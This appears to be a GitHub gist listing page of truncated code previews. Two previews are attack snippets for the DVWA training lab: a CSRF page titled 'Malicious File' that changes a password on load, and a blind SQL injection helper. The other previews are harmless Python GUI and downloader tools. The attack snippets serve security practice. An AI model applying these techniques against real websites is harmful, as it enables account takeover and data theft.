Skip to content

Instantly share code, notes, and snippets.

@StackZeroSec
StackZeroSec / csrf_dvwa_high.html
Created November 23, 2022 04:18
The CSRF exploit for DVWA with high level of security, it can be loaded thanks to the file upload vulnerability.
<!DOCTYPE html>
<html>
<head>
<meta charset='utf-8'>
<meta http-equiv='X-UA-Compatible' content='IE=edge'>
<title>Malicious File</title>
</head>
<body onload="change_password()">
@StackZeroSec
StackZeroSec / main.py
Last active October 25, 2022 21:30
The script to perform blind sql injection to DVWA low security
from utils import *
def get_query_result(s, sqli_blind_url, query, *args):
try:
concrete_query = query.format(*args)
response = s.get(f"{sqli_blind_url}?id={concrete_query}&Submit=Submit#")
parser = DVWASQLiResponseParser(response)
return parser.check_presence("exist")
except AttributeError as e:
return False
@StackZeroSec
StackZeroSec / utils.py
Created October 18, 2022 03:03
Utils to login into DVWA for performing attacks through python requests library
import requests
from bs4 import BeautifulSoup
from enum import Enum
import string
import urllib
class SecurityLevel(Enum):
LOW = "low"
MEDIUM = "medium"
HIGH = "high"
@StackZeroSec
StackZeroSec / bored_application.py
Created October 4, 2022 03:07
An applicattion which uses Borded API to suggest you a random activity
import requests
import json
import tkinter
from types import SimpleNamespace
BASE_URL = "http://www.boredapi.com/api/activity"
class Window():
def __init__(self):
@StackZeroSec
StackZeroSec / main.py
Created October 4, 2022 03:04
A Tkinter/Python application that shows Chuck Norris Jokes with its APIS
import requests
import tkinter
from PIL import ImageTk, Image
class Window():
""" <a target="_blank" href="https://icons8.com/icon/B66tBXIKOwR9/chuck-norris">Chuck Norris</a> icon by <a target="_blank" href="https://icons8.com">Icons8</a>"""
def __init__(self):
self.fp = "icon.png"
self.initUI()
@StackZeroSec
StackZeroSec / main.py
Last active October 4, 2022 03:05
A simple youtube downloader in python with CLI options
import click
import pytube
from pytube.cli import on_progress
from typing import List
def print_streams(streams: List[pytube.Stream]):
for stream in streams:
print(f"itag={stream.itag} mime_type={stream.mime_type} "
f"res={stream.resolution} fps={stream.fps} vcodec={stream.video_codec} "
f"acodec={stream.audio_codec} type={stream.type}>\n")
@StackZeroSec
StackZeroSec / gui_password_generator.py
Last active October 4, 2022 03:05
A password generator with GUI in python
import tkinter
import string
import random
class Window():
MAX_CHARS = 15
MIN_CHARS = 3
CHARS_OPTIONS = ["Alphanumeric",
"Numeric",
"Alpha"]